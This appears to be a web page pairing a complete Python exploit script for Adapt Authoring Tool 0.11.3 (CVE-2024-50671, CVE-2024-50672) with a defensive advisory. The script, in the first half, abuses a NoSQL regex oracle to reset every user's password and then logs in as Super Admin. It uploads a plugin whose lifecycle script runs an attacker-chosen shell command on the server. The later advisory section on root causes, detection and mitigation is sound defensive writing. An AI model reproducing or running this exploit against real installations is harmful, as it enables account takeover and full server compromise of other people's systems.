Adapt Authoring Tool 0.11.3 - Remote Command Execution (RCE)
# Exploit Title: Adapt Authoring Tool 0.11.3 - Remote Command Execution (RCE)
# Date: 2024-11-24
# Exploit Author: Eui Chul Chung
# Vendor Homepage: https://www.adaptlearning.org/
# Software Link: https://github.com/adaptlearning/adapt_authoring
# Version: 0.11.3
# CVE Identifier: CVE-2024-50672 , CVE-2024-50671
import io
import sys
import json
import zipfile
import argparse
import requests
import textwrap
def get_session_cookie(username, password):
data = {"email": username, "password": password}
res = requests.post(f"{args.url}/api/login", data=data)
if res.status_code == 200:
print(f"[+] Login as {username}")
return res.cookies.get_dict()
return None
def get_users():
session_cookie = get_session_cookie(args.username, args.password)
if session_cookie is None:
print("[-] Login failed")
sys.exit()
res = requests.get(f"{args.url}/api/user", cookies=session_cookie)
users = [
{"email": user["email"], "role": user["roles"][0]["name"]}
for user in json.loads(res.text)
]
roles = {"Authenticated User": 1, "Course Creator": 2, "Super Admin": 3}
users.sort(key=lambda user: roles[user["role"]])
for user in users:
print(f"[+] {user['email']} ({user['role']})")
return users
def reset_password(users):
# Overwrite potentially expired password reset tokens
for user in users:
data = {"email": user["email"]}
requests.post(f"{args.url}/api/createtoken", data=data)
print("[+] Generate password reset token for every user")
valid_characters = "0123456789abcdef"
next_tokens = ["^"]
# Ensure that only a single result is returned at a time
while next_tokens:
prev_tokens = next_tokens
next_tokens = []
for token in prev_tokens:
for ch in valid_characters:
data = {"token": {"$regex": token + ch}, "password": "HaXX0r3d!"}
res = requests.put(
f"{args.url}/api/userpasswordreset/w00tw00t",
json=data,
)
# Multiple results returned
if res.status_code == 500:
next_tokens.append(token + ch)
print("[+] Reset every password to HaXX0r3d!")
def create_plugin(plugin_name):
manifest = {
"name": plugin_name,
"version": "1.0.0",
"extension": "exploit",
"main": "/js/main.js",
"displayName": "exploit",
"keywords": ["adapt-plugin", "adapt-extension"],
"scripts": {"adaptpostcopy": "/scripts/postcopy.js"},
}
property = {
"properties": {
"pluginLocations": {
"type": "object",
"properties": {"course": {"type": "object"}},
}
}
}
payload = textwrap.dedent(
f"""
const {{ exec }} = require("child_process");
module.exports = async function (fs, path, log, options, done) {{
try {{
exec("{args.command}");
}} catch (err) {{
log(err);
}}
done();
}};
"""
).strip()
plugin = io.BytesIO()
with zipfile.ZipFile(plugin, "a", zipfile.ZIP_DEFLATED, False) as zip_file:
zip_file.writestr(
f"{plugin_name}/bower.json",
io.BytesIO(json.dumps(manifest).encode()).getvalue(),
)
zip_file.writestr(
f"{plugin_name}/properties.schema",
io.BytesIO(json.dumps(property).encode()).getvalue(),
)
zip_file.writestr(
f"{plugin_name}/js/main.js", io.BytesIO("".encode()).getvalue()
)
zip_file.writestr(
f"{plugin_name}/scripts/postcopy.js",
io.BytesIO(payload.encode()).getvalue(),
)
plugin.seek(0)
return plugin
def find_plugin(cookies, plugin_type, plugin_name):
res = requests.get(f"{args.url}/api/{plugin_type}type", cookies=cookies)
for plugin in json.loads(res.text):
if plugin["name"] == plugin_name:
return plugin["_id"]
return None
def create_course(cookies):
data = {}
res = requests.post(f"{args.url}/api/content/course", cookies=cookies, json=data)
course_id = json.loads(res.text)["_id"]
data = {"_courseId": course_id, "_parentId": course_id}
res = requests.post(
f"{args.url}/api/content/contentobject",
cookies=cookies,
json=data,
)
content_id = json.loads(res.text)["_id"]
data = {"_courseId": course_id, "_parentId": content_id}
res = requests.post(f"{args.url}/api/content/article", cookies=cookies, json=data)
article_id = json.loads(res.text)["_id"]
data = {"_courseId": course_id, "_parentId": article_id}
res = requests.post(f"{args.url}/api/content/block", cookies=cookies, json=data)
block_id = json.loads(res.text)["_id"]
component_id = find_plugin(cookies, "component", "adapt-contrib-text")
data = {
"_courseId": course_id,
"_parentId": block_id,
"_component": "text",
"_componentType": component_id,
}
requests.post(f"{args.url}/api/content/component", cookies=cookies, json=data)
return course_id
def rce(users):
session_cookie = None
for user in users:
if user["role"] == "Super Admin":
session_cookie = get_session_cookie(user["email"], "HaXX0r3d!")
break
if session_cookie is None:
print("[-] Failed to login as Super Account")
sys.exit()
plugin_name = "adapt-contrib-xapi"
print(f"[+] Create malicious plugin : {plugin_name}")
plugin = create_plugin(plugin_name)
print("[+] Scan installed plugins")
plugin_id = find_plugin(session_cookie, "extension", plugin_name)
if plugin_id is None:
print(f"[+] {plugin_name} not found")
else:
print(f"[+] Found {plugin_name}")
print(f"[+] Remove {plugin_name}")
requests.delete(
f"{args.url}/api/extensiontype/{plugin_id}",
cookies=session_cookie,
)
print("[+] Upload plugin")
files = {"file": (f"{plugin_name}.zip", plugin, "application/zip")}
requests.post(
f"{args.url}/api/upload/contentplugin",
cookies=session_cookie,
files=files,
)
print("[+] Find uploaded plugin")
plugin_id = find_plugin(session_cookie, "extension", plugin_name)
if plugin_id is None:
print(f"[-] {plugin_name} not found")
sys.exit()
print(f"[+] Plugin ID : {plugin_id}")
print("[+] Add plugin to new courses")
data = {"_isAddedByDefault": True}
requests.put(
f"{args.url}/api/extensiontype/{plugin_id}",
cookies=session_cookie,
json=data,
)
print("[+] Create a new course")
course_id = create_course(session_cookie)
print("[+] Build course")
res = requests.get(
f"{args.url}/api/output/adapt/preview/{course_id}",
cookies=session_cookie,
)
if res.status_code == 200:
print("[+] Command execution succeeded")
else:
print("[-] Command execution failed")
print("[+] Remove course")
requests.delete(
f"{args.url}/api/content/course/{course_id}",
cookies=session_cookie,
)
def main():
print("[*] Retrieve user information")
users = get_users()
print("\n[*] Reset password")
reset_password(users)
print("\n[*] Perform remote code execution")
rce(users)
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument(
"-u",
dest="url",
help="Site URL (e.g. www.adaptlearning.org)",
type=str,
required=True,
)
parser.add_argument(
"-U",
dest="username",
help="Username to authenticate as",
type=str,
required=True,
)
parser.add_argument(
"-P",
dest="password",
help="Password for the specified username",
type=str,
required=True,
)
parser.add_argument(
"-c",
dest="command",
help="Command to execute (e.g. touch /tmp/pwned)",
type=str,
default="touch /tmp/pwned",
)
args = parser.parse_args()
main() Adapt Authoring Tool 0.11.3 — Remote Command Execution (RCE): Overview, Impact, and Mitigation
The Adapt Authoring Tool (v0.11.3) was disclosed with one or more vulnerabilities that together allow an attacker to obtain privileged access and achieve remote command execution (RCE) on an affected server. These issues have been assigned CVE-2024-50671 and CVE-2024-50672. This article explains the root causes, high-level attack flow, detection and indicators, and practical mitigations and hardening guidance for defenders and administrators.
Key takeaways
- The vulnerability chain allows an unauthenticated or low-privileged attacker to reset credentials for privileged accounts by abusing password-reset logic and then to upload and activate plugin code that is executed by the application build process, enabling RCE.
- Root causes include unsafe token handling (error/oracle exposure when using regex lookups), insufficient validation of uploaded plugin packages, and execution of plugin lifecycle scripts with application privileges.
- Immediate mitigations: upgrade to vendor-patched versions, disable plugin-upload/execution where possible, apply strict input validation and rate limiting, and run build and plugin-processing in strict sandboxes.
Affected versions and CVEs
- Product: Adapt Authoring Tool
- Affected version(s): 0.11.3 (as reported)
- CVE identifiers: CVE-2024-50671, CVE-2024-50672
- Vendor/resource: adaptlearning.org / GitHub repository (adapt_authoring)
Technical root causes (high-level)
- Token handling and oracle leaks: The password reset flow accepts queries (including pattern/regex-style queries) against token values and leaks information about matches through different error/response behaviors. This creates an oracle that can be used to enumerate or partially recover valid reset tokens.
- Insecure plugin lifecycle execution: The platform allows uploaded plugin packages to include lifecycle scripts that are executed by the server during build or post-install steps. Plugin package contents are not sufficiently validated or sandboxed, allowing an attacker controlling a plugin package to execute arbitrary code on the host.
- Insufficient privilege separation: Build and plugin-processing steps run with privileges that allow arbitrary system command execution or file-system access, increasing impact when plugin scripts are executed.
High-level attack flow (conceptual)
Below is a sanitized, non-actionable, conceptual flow illustrating how the weaknesses chain together. It intentionally omits specific request payloads and exact endpoints to avoid providing an exploit recipe.
// Conceptual pseudocode (non-executable, high-level)
// 1. Discover or enumerate accounts (public API / user listing)
// 2. Abuse the password-reset token system to recover or narrow valid reset tokens
// 3. Use the recovered token to reset a privileged account password (for example, a super-admin)
// 4. Authenticate as the privileged account
// 5. Upload a plugin/package that includes server-side lifecycle scripts
// 6. Mark the plugin so it is used in course builds or otherwise executed
// 7. Trigger the build/process that runs plugin lifecycle scripts, which executes attacker-supplied code
// 8. Achieve remote command execution on the host
//
// Notes:
// - Each step relies on insecure validation, error-oracle behavior, or execution of untrusted code.
// - This pseudocode is for defenders: it describes the flow so you can search logs and implement mitigations.
Explanation: The pseudocode illustrates the logical stages an attacker may use: reconnaissance (account discovery), token-oracle abuse (to reset or hijack credentials), privileged access acquisition, and finally code execution via plugin lifecycle scripts. Defenders can map these conceptual steps to logs and controls in their environment.
Impact and risk
- Full server compromise: Once arbitrary commands run with application privileges, an attacker can read/write files, deploy backdoors, escalate to other services, or exfiltrate data.
- Supply-chain or tenant compromise: Uploaded malicious plugins may persist and affect additional courses or users.
- Data confidentiality and integrity risks: Sensitive user data, course content, and credentials may be exposed or modified.
Detection and indicators of compromise (IoCs)
- Unusual pattern of password-reset requests or high-volume createtoken requests for multiple accounts.
- Repeated password-reset attempts with pattern-style search leading to server errors or internal exceptions.
- New or unexpected plugin uploads, especially by admin accounts that normally do not upload custom plugins.
- Build log entries invoking plugin lifecycle scripts or errors produced by script execution.
- Unexpected system processes launched by the application user, new files created in predictable locations, or anomalous outbound network connections.
Sample log sources to monitor
- Application access logs and API request logs
- Authentication and password-reset endpoints
- Plugin upload and management endpoints
- Process accounting and system logs (syslog, auditd)
- Build or preview output logs produced by the platform
Mitigation and hardening recommendations
- Patch promptly: Apply the vendor-supplied patch or upgrade to a version that addresses CVE-2024-50671 and CVE-2024-50672. This is the primary remediation.
- Harden token logic: Avoid accepting complex pattern queries against sensitive tokens. Use strict equality checks and compare tokens using constant-time comparison functions. Return uniform responses for invalid/valid cases to prevent oracle-based enumeration.
- Sanitize inputs and disable regex-based queries: Reject pattern/meta-characters in parameters that search for tokens or credentials. Prefer server-side token lookup by exact identifier.
- Restrict plugin upload and lifecycle execution: Only allow plugin uploads from trusted administrators. Validate plugin manifests and contents and disallow executable lifecycle scripts where feasible.
- Sandbox plugin processing: Run plugin unpacking, validation, and build steps inside strong isolation: containers, read-only file systems, Linux namespaces, SELinux/AppArmor profiles, or dedicated build VMs with minimal privileges.
- Least privilege: Ensure the application user has the minimum filesystem and process rights. Avoid running build steps as root and minimize access to sensitive host resources.
- Rate limiting and anomaly detection: Apply request rate limits to token-generation and password-reset endpoints and alert on anomalous sequences that resemble enumeration or brute force.
- Logging and alerting: Log plugin uploads, package hashes, and build invocations. Create alerts for high-risk actions (e.g., mass token generation, plugin upload by new admin accounts).
- Network egress controls: Constrain outbound network connections from build environments to reduce exfiltration or staged payload retrieval.
Safe testing and responsible disclosure guidance
- Do not test against production systems. Reproduce and validate in an isolated lab environment or a dedicated test instance with no real user data.
- When assessing fixes, use non-destructive proofs-of-concept (for example, detection of control-flow or logs) rather than executing arbitrary commands on a host.
- If you discover the issue in your environment and need vendor assistance, follow responsible disclosure practices: contact the vendor with technical details, allow time for remediation, and avoid public disclosure until patches are available.
Quick comparison: vulnerable vs. mitigated behavior
| Area | Vulnerable behavior | Mitigated behavior |
|---|---|---|
| Password-reset token handling | Permits pattern/regex queries and leaks match counts/errors | Only exact-token lookup; uniform responses; rate-limited |
| Plugin uploads | Allows execution of included lifecycle scripts with app privileges | Validates manifest; disallows or sandboxes scripts; admin-only upload |
| Build environment | Runs builds with broad OS privileges | Builds executed in constrained containers/VMs with least privilege |
Incident response checklist (if compromise is suspected)
- Immediately isolate the affected host from the network to prevent lateral movement.
- Collect volatile logs and evidence (application logs, system process lists, network connections).
- Identify recently uploaded plugins, their hashes, and their uploader accounts.
- Rotate credentials for compromised or high-risk accounts (after isolating and ensuring you control the reset flow).
- Rebuild the host from a known-good image if execution of arbitrary code is confirmed; preserve artifacts for forensic analysis.
- Apply the vendor patch and validated configuration changes to prevent re-exploitation.
References and further reading
- Vendor / project: Adapt Learning (project repository and advisories)
- Assigned CVEs: CVE-2024-50671, CVE-2024-50672
- Security best practices: token handling, input validation, sandboxing untrusted code, least privilege
Final notes for administrators
Treat plugin upload and server-side extension mechanisms as high-risk attack surfaces. Where such extensibility is required, combine strict code review, runtime isolation, and monitoring. Prioritize installing vendor patches for the CVEs noted above and implement the mitigations described to reduce both the immediate risk and the attack surface going forward.